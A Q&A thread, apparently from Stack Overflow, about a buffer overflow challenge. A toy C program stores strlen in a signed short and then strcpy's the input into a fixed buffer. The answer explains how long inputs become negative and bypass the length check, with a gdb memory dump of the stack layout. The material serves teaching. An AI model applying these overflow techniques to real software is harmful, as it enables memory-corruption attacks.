I'm trying to perform a bufferoverflow so that a variable (type) has a specific value in it. I struggle with the strlen & check for my input.
I tried using something like: 'AAAAA\x00AAA...A\x00\xbc\xd4\xb9' for tricking the strlen check that my input is just 5 A's long. But something strips my \x00 always with the message:
-bash: Warnung: command substitution: ignored null byte in input
So i went to make a way bigger input and have an Integer overflow so that the short where the length is saved to is too big and gets below 32700... But that didnt seem to work either.
My inputs are constructed as follow:
./challenge `python -c "print 'A'*30000 + '\x00' + 'A'*10000" + '\xXX\xXX\xXX\xXX'`
(for \xXX my desired inputs)
or
./challenge `python programm.py`
I am also using gdb for the analysis of the memory. But i cant find the correct way to use it...
The code for my task is:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
int type = 0xdeadbeef;
char buf[32700];
short len;
if (argc < 2)
return -1;
len = strlen(argv[1]);
if (len > 32700) {
printf("Too long\n");
return -1;
}
strcpy(buf, argv[1]);
if (type == 0x00b1c2d3) {
printf("Success\n");
} else {
printf("Try again\n");
}
exit(0);
}
Any other ideas (or a 'solution') for this problem? I am trying so hard now since days. Also i didn't have anything todo with C (especially memory analysis, gdb and all of that) for years, so it's extra hard for me to understand some things.
The issue in the code is that the length len
, which is calculated using strlen()
, is a short
. This means it's a 16-bit value. Since strlen()
returns a size_t
, which is a 64-bit value on my x86_64 system, only the bottom 16 bits will be stored in the len
variable.
So, on first glance you can submit anything longer than 65,535 bytes, overflow that short int
, and store just the lower 16-bits. But there's another issue to note. The len
variable is a signed short integer. This means that it stores values from [-32768,32767]
, whereas a size_t
is an unsigned value. So when strlen()
returns its value, lengths that have the highest bit set (anything over 32,767 bytes) will become negative numbers.
Here's an example gdb
session illustrating this:
(gdb) break 22
Breakpoint 1 at 0x829: file challenge.c, line 22.
(gdb) run `ruby -e 'print("A"*32768)'`
Starting program: /home/josh/foo/challenge `ruby -e 'print("A"*32768)'`
Breakpoint 1, main (argc=2, argv=0x7fffffff6338) at challenge.c:22
22 if (type == 0x00b1c2d3) {
(gdb) p len
$1 = -32768
(gdb) x/64bx $rsp
0x7ffffffee260: 0x38 0x63 0xff 0xff 0xff 0x7f 0x00 0x00
0x7ffffffee268: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0x7ffffffee270: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffffffee278: 0x00 0x00 0x00 0x80 0xef 0xbe 0xad 0xde
0x7ffffffee280: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee288: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee290: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffffffee298: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
See how the bytes at 0x7ffffffee27a
are 0x00 0x80
? That's -32768 to a short int
, so the length is perceived to be negative (well under 32,700!).
I also included some extra info in the memory dump there, so you can see that the type
field immediately succeeds the len
field in memory, followed finally by the buf
array (which contains my 32768 A
s!). Note that only certain lengths of input will work -- those that appear negative, or overflow to a value less than 32,700 when truncated to 16 bits.
This doesn't solve the entire challenge, but at least should give you a good start to understanding what you can control. Note also that there is data above the buf
array, such as where rbp
points, your saved return pointer, etc. Depending on how you are compiling this (e.g., with or without stack canaries, etc.), there might be some more things for you to solve along the way.
User contributions licensed under CC BY-SA 3.0